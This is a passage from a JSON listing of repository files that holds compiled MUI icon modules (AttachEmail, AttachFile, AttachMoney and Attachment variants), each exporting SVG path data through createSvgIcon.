    "path": "packages/mui-icons-material/lib/AttachEmailOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3 6 8 5 8-5v3h2V4c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2L1 16c0 1.1.9 2 2 2h10v-2H3zm16-2-8 5-8-5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14v4c0 1.1-.9 2-2 2s-2-.9-2-2v-4.5c0-.28.22-.5.5-.5s.5.22.5.5V18h2v-4.5c0-1.38-1.12-2.5-2.5-2.5S15 12.12 15 13.5V18c0 2.21 1.79 4 4 4s4-1.79 4-4v-4z\"\n}, \"1\")], 'AttachEmailOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachEmailRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10V4c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2L1 16c0 1.1.9 2 2 2h11v-5c0-1.66 1.34-3 3-3zm-9.47.67c-.32.2-.74.2-1.06 0L3.4 6.25c-.25-.16-.4-.43-.4-.72 0-.67.73-1.07 1.3-.72L11 9l6.7-4.19c.57-.35 1.3.05 1.3.72 0 .29-.15.56-.4.72z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 14c-.55 0-1 .45-1 1v3c0 1.1-.9 2-2 2s-2-.9-2-2v-4.5c0-.28.22-.5.5-.5s.5.22.5.5V17c0 .55.45 1 1 1s1-.45 1-1v-3.5c0-1.38-1.12-2.5-2.5-2.5S15 12.12 15 13.5V18c0 2.21 1.79 4 4 4s4-1.79 4-4v-3c0-.55-.45-1-1-1\"\n}, \"1\")], 'AttachEmailRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachEmailRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10V4c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2L1 16c0 1.1.9 2 2 2h11v-5c0-1.66 1.34-3 3-3zm-9.47.67c-.32.2-.74.2-1.06 0L3.4 6.25c-.25-.16-.4-.43-.4-.72 0-.67.73-1.07 1.3-.72L11 9l6.7-4.19c.57-.35 1.3.05 1.3.72 0 .29-.15.56-.4.72z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 14c-.55 0-1 .45-1 1v3c0 1.1-.9 2-2 2s-2-.9-2-2v-4.5c0-.28.22-.5.5-.5s.5.22.5.5V17c0 .55.45 1 1 1s1-.45 1-1v-3.5c0-1.38-1.12-2.5-2.5-2.5S15 12.12 15 13.5V18c0 2.21 1.79 4 4 4s4-1.79 4-4v-3c0-.55-.45-1-1-1\"\n}, \"1\")], 'AttachEmailRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachEmailSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10V2H1v16h13v-5c0-1.66 1.34-3 3-3zm-10 1L3 6V4l8 5 8-5v2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14v4c0 1.1-.9 2-2 2s-2-.9-2-2v-4.5c0-.28.22-.5.5-.5s.5.22.5.5V18h2v-4.5c0-1.38-1.12-2.5-2.5-2.5S15 12.12 15 13.5V18c0 2.21 1.79 4 4 4s4-1.79 4-4v-4z\"\n}, \"1\")], 'AttachEmailSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachEmailSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10V2H1v16h13v-5c0-1.66 1.34-3 3-3zm-10 1L3 6V4l8 5 8-5v2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14v4c0 1.1-.9 2-2 2s-2-.9-2-2v-4.5c0-.28.22-.5.5-.5s.5.22.5.5V18h2v-4.5c0-1.38-1.12-2.5-2.5-2.5S15 12.12 15 13.5V18c0 2.21 1.79 4 4 4s4-1.79 4-4v-4z\"\n}, \"1\")], 'AttachEmailSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachEmailTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3 6 8 5 8-5v3h2V4c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2L1 16c0 1.1.9 2 2 2h10v-2H3zm16-2-8 5-8-5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14v4c0 1.1-.9 2-2 2s-2-.9-2-2v-4.5c0-.28.22-.5.5-.5s.5.22.5.5V18h2v-4.5c0-1.38-1.12-2.5-2.5-2.5S15 12.12 15 13.5V18c0 2.21 1.79 4 4 4s4-1.79 4-4v-4z\"\n}, \"1\")], 'AttachEmailTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachEmailTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3 6 8 5 8-5v3h2V4c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2L1 16c0 1.1.9 2 2 2h10v-2H3zm16-2-8 5-8-5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14v4c0 1.1-.9 2-2 2s-2-.9-2-2v-4.5c0-.28.22-.5.5-.5s.5.22.5.5V18h2v-4.5c0-1.38-1.12-2.5-2.5-2.5S15 12.12 15 13.5V18c0 2.21 1.79 4 4 4s4-1.79 4-4v-4z\"\n}, \"1\")], 'AttachEmailTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachFile.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 6v11.5c0 2.21-1.79 4-4 4s-4-1.79-4-4V5c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5v10.5c0 .55-.45 1-1 1s-1-.45-1-1V6H10v9.5c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5V5c0-2.21-1.79-4-4-4S7 2.79 7 5v12.5c0 3.04 2.46 5.5 5.5 5.5s5.5-2.46 5.5-5.5V6z\"\n}), 'AttachFile');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachFile.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 6v11.5c0 2.21-1.79 4-4 4s-4-1.79-4-4V5c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5v10.5c0 .55-.45 1-1 1s-1-.45-1-1V6H10v9.5c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5V5c0-2.21-1.79-4-4-4S7 2.79 7 5v12.5c0 3.04 2.46 5.5 5.5 5.5s5.5-2.46 5.5-5.5V6z\"\n}), 'AttachFile');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachFileOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 6v11.5c0 2.21-1.79 4-4 4s-4-1.79-4-4V5c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5v10.5c0 .55-.45 1-1 1s-1-.45-1-1V6H10v9.5c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5V5c0-2.21-1.79-4-4-4S7 2.79 7 5v12.5c0 3.04 2.46 5.5 5.5 5.5s5.5-2.46 5.5-5.5V6z\"\n}), 'AttachFileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachFileOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 6v11.5c0 2.21-1.79 4-4 4s-4-1.79-4-4V5c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5v10.5c0 .55-.45 1-1 1s-1-.45-1-1V6H10v9.5c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5V5c0-2.21-1.79-4-4-4S7 2.79 7 5v12.5c0 3.04 2.46 5.5 5.5 5.5s5.5-2.46 5.5-5.5V6z\"\n}), 'AttachFileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachFileRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 6.75v10.58c0 2.09-1.53 3.95-3.61 4.15-2.39.23-4.39-1.64-4.39-3.98V5.14c0-1.31.94-2.5 2.24-2.63 1.5-.15 2.76 1.02 2.76 2.49v10.5c0 .55-.45 1-1 1s-1-.45-1-1V6.75c0-.41-.34-.75-.75-.75s-.75.34-.75.75v8.61c0 1.31.94 2.5 2.24 2.63 1.5.15 2.76-1.02 2.76-2.49V5.17c0-2.09-1.53-3.95-3.61-4.15C9.01.79 7 2.66 7 5v12.27c0 2.87 2.1 5.44 4.96 5.71 3.29.3 6.04-2.26 6.04-5.48V6.75c0-.41-.34-.75-.75-.75s-.75.34-.75.75\"\n}), 'AttachFileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachFileRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 6.75v10.58c0 2.09-1.53 3.95-3.61 4.15-2.39.23-4.39-1.64-4.39-3.98V5.14c0-1.31.94-2.5 2.24-2.63 1.5-.15 2.76 1.02 2.76 2.49v10.5c0 .55-.45 1-1 1s-1-.45-1-1V6.75c0-.41-.34-.75-.75-.75s-.75.34-.75.75v8.61c0 1.31.94 2.5 2.24 2.63 1.5.15 2.76-1.02 2.76-2.49V5.17c0-2.09-1.53-3.95-3.61-4.15C9.01.79 7 2.66 7 5v12.27c0 2.87 2.1 5.44 4.96 5.71 3.29.3 6.04-2.26 6.04-5.48V6.75c0-.41-.34-.75-.75-.75s-.75.34-.75.75\"\n}), 'AttachFileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachFileSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 6v11.5c0 2.21-1.79 4-4 4s-4-1.79-4-4V5c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5v10.5c0 .55-.45 1-1 1s-1-.45-1-1V6H10v9.5c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5V5c0-2.21-1.79-4-4-4S7 2.79 7 5v12.5c0 3.04 2.46 5.5 5.5 5.5s5.5-2.46 5.5-5.5V6z\"\n}), 'AttachFileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachFileSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 6v11.5c0 2.21-1.79 4-4 4s-4-1.79-4-4V5c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5v10.5c0 .55-.45 1-1 1s-1-.45-1-1V6H10v9.5c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5V5c0-2.21-1.79-4-4-4S7 2.79 7 5v12.5c0 3.04 2.46 5.5 5.5 5.5s5.5-2.46 5.5-5.5V6z\"\n}), 'AttachFileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachFileTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 23c3.04 0 5.5-2.46 5.5-5.5V6h-1.5v11.5c0 2.21-1.79 4-4 4s-4-1.79-4-4V5c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5v10.5c0 .55-.45 1-1 1s-1-.45-1-1V6H10v9.5c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5V5c0-2.21-1.79-4-4-4S7 2.79 7 5v12.5c0 3.04 2.46 5.5 5.5 5.5\"\n}), 'AttachFileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachFileTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 23c3.04 0 5.5-2.46 5.5-5.5V6h-1.5v11.5c0 2.21-1.79 4-4 4s-4-1.79-4-4V5c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5v10.5c0 .55-.45 1-1 1s-1-.45-1-1V6H10v9.5c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5V5c0-2.21-1.79-4-4-4S7 2.79 7 5v12.5c0 3.04 2.46 5.5 5.5 5.5\"\n}), 'AttachFileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachMoney.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.8 10.9c-2.27-.59-3-1.2-3-2.15 0-1.09 1.01-1.85 2.7-1.85 1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-1.94.42-3.5 1.68-3.5 3.61 0 2.31 1.91 3.46 4.7 4.13 2.5.6 3 1.48 3 2.41 0 .69-.49 1.79-2.7 1.79-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c1.95-.37 3.5-1.5 3.5-3.55 0-2.84-2.43-3.81-4.7-4.4\"\n}), 'AttachMoney');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachMoney.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.8 10.9c-2.27-.59-3-1.2-3-2.15 0-1.09 1.01-1.85 2.7-1.85 1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-1.94.42-3.5 1.68-3.5 3.61 0 2.31 1.91 3.46 4.7 4.13 2.5.6 3 1.48 3 2.41 0 .69-.49 1.79-2.7 1.79-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c1.95-.37 3.5-1.5 3.5-3.55 0-2.84-2.43-3.81-4.7-4.4\"\n}), 'AttachMoney');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachMoneyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.8 10.9c-2.27-.59-3-1.2-3-2.15 0-1.09 1.01-1.85 2.7-1.85 1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-1.94.42-3.5 1.68-3.5 3.61 0 2.31 1.91 3.46 4.7 4.13 2.5.6 3 1.48 3 2.41 0 .69-.49 1.79-2.7 1.79-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c1.95-.37 3.5-1.5 3.5-3.55 0-2.84-2.43-3.81-4.7-4.4\"\n}), 'AttachMoneyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachMoneyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.8 10.9c-2.27-.59-3-1.2-3-2.15 0-1.09 1.01-1.85 2.7-1.85 1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-1.94.42-3.5 1.68-3.5 3.61 0 2.31 1.91 3.46 4.7 4.13 2.5.6 3 1.48 3 2.41 0 .69-.49 1.79-2.7 1.79-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c1.95-.37 3.5-1.5 3.5-3.55 0-2.84-2.43-3.81-4.7-4.4\"\n}), 'AttachMoneyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachMoneyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.8 10.9c-2.27-.59-3-1.2-3-2.15 0-1.09 1.01-1.85 2.7-1.85 1.42 0 2.13.54 2.39 1.4.12.4.45.7.87.7h.3c.66 0 1.13-.65.9-1.27-.42-1.18-1.4-2.16-2.96-2.54V4.5c0-.83-.67-1.5-1.5-1.5S10 3.67 10 4.5v.66c-1.94.42-3.5 1.68-3.5 3.61 0 2.31 1.91 3.46 4.7 4.13 2.5.6 3 1.48 3 2.41 0 .69-.49 1.79-2.7 1.79-1.65 0-2.5-.59-2.83-1.43-.15-.39-.49-.67-.9-.67h-.28c-.67 0-1.14.68-.89 1.3.57 1.39 1.9 2.21 3.4 2.53v.67c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5v-.65c1.95-.37 3.5-1.5 3.5-3.55 0-2.84-2.43-3.81-4.7-4.4\"\n}), 'AttachMoneyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachMoneyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.8 10.9c-2.27-.59-3-1.2-3-2.15 0-1.09 1.01-1.85 2.7-1.85 1.42 0 2.13.54 2.39 1.4.12.4.45.7.87.7h.3c.66 0 1.13-.65.9-1.27-.42-1.18-1.4-2.16-2.96-2.54V4.5c0-.83-.67-1.5-1.5-1.5S10 3.67 10 4.5v.66c-1.94.42-3.5 1.68-3.5 3.61 0 2.31 1.91 3.46 4.7 4.13 2.5.6 3 1.48 3 2.41 0 .69-.49 1.79-2.7 1.79-1.65 0-2.5-.59-2.83-1.43-.15-.39-.49-.67-.9-.67h-.28c-.67 0-1.14.68-.89 1.3.57 1.39 1.9 2.21 3.4 2.53v.67c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5v-.65c1.95-.37 3.5-1.5 3.5-3.55 0-2.84-2.43-3.81-4.7-4.4\"\n}), 'AttachMoneyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachMoneySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.8 10.9c-2.27-.59-3-1.2-3-2.15 0-1.09 1.01-1.85 2.7-1.85 1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-1.94.42-3.5 1.68-3.5 3.61 0 2.31 1.91 3.46 4.7 4.13 2.5.6 3 1.48 3 2.41 0 .69-.49 1.79-2.7 1.79-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c1.95-.37 3.5-1.5 3.5-3.55 0-2.84-2.43-3.81-4.7-4.4\"\n}), 'AttachMoneySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachMoneySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.8 10.9c-2.27-.59-3-1.2-3-2.15 0-1.09 1.01-1.85 2.7-1.85 1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-1.94.42-3.5 1.68-3.5 3.61 0 2.31 1.91 3.46 4.7 4.13 2.5.6 3 1.48 3 2.41 0 .69-.49 1.79-2.7 1.79-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c1.95-.37 3.5-1.5 3.5-3.55 0-2.84-2.43-3.81-4.7-4.4\"\n}), 'AttachMoneySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachMoneyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 17.1c-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c1.95-.37 3.5-1.5 3.5-3.55 0-2.84-2.43-3.81-4.7-4.4s-3-1.2-3-2.15c0-1.09 1.01-1.85 2.7-1.85 1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-1.94.42-3.5 1.68-3.5 3.61 0 2.31 1.91 3.46 4.7 4.13 2.5.6 3 1.48 3 2.41 0 .69-.49 1.79-2.7 1.79\"\n}), 'AttachMoneyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachMoneyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 17.1c-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c1.95-.37 3.5-1.5 3.5-3.55 0-2.84-2.43-3.81-4.7-4.4s-3-1.2-3-2.15c0-1.09 1.01-1.85 2.7-1.85 1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-1.94.42-3.5 1.68-3.5 3.61 0 2.31 1.91 3.46 4.7 4.13 2.5.6 3 1.48 3 2.41 0 .69-.49 1.79-2.7 1.79\"\n}), 'AttachMoneyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Attachment.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 12.5C2 9.46 4.46 7 7.5 7H18c2.21 0 4 1.79 4 4s-1.79 4-4 4H9.5C8.12 15 7 13.88 7 12.5S8.12 10 9.5 10H17v2H9.41c-.55 0-.55 1 0 1H18c1.1 0 2-.9 2-2s-.9-2-2-2H7.5C5.57 9 4 10.57 4 12.5S5.57 16 7.5 16H17v2H7.5C4.46 18 2 15.54 2 12.5\"\n}), 'Attachment');"
  },
  {
    "path": "packages/mui-icons-material/lib/Attachment.mjs",
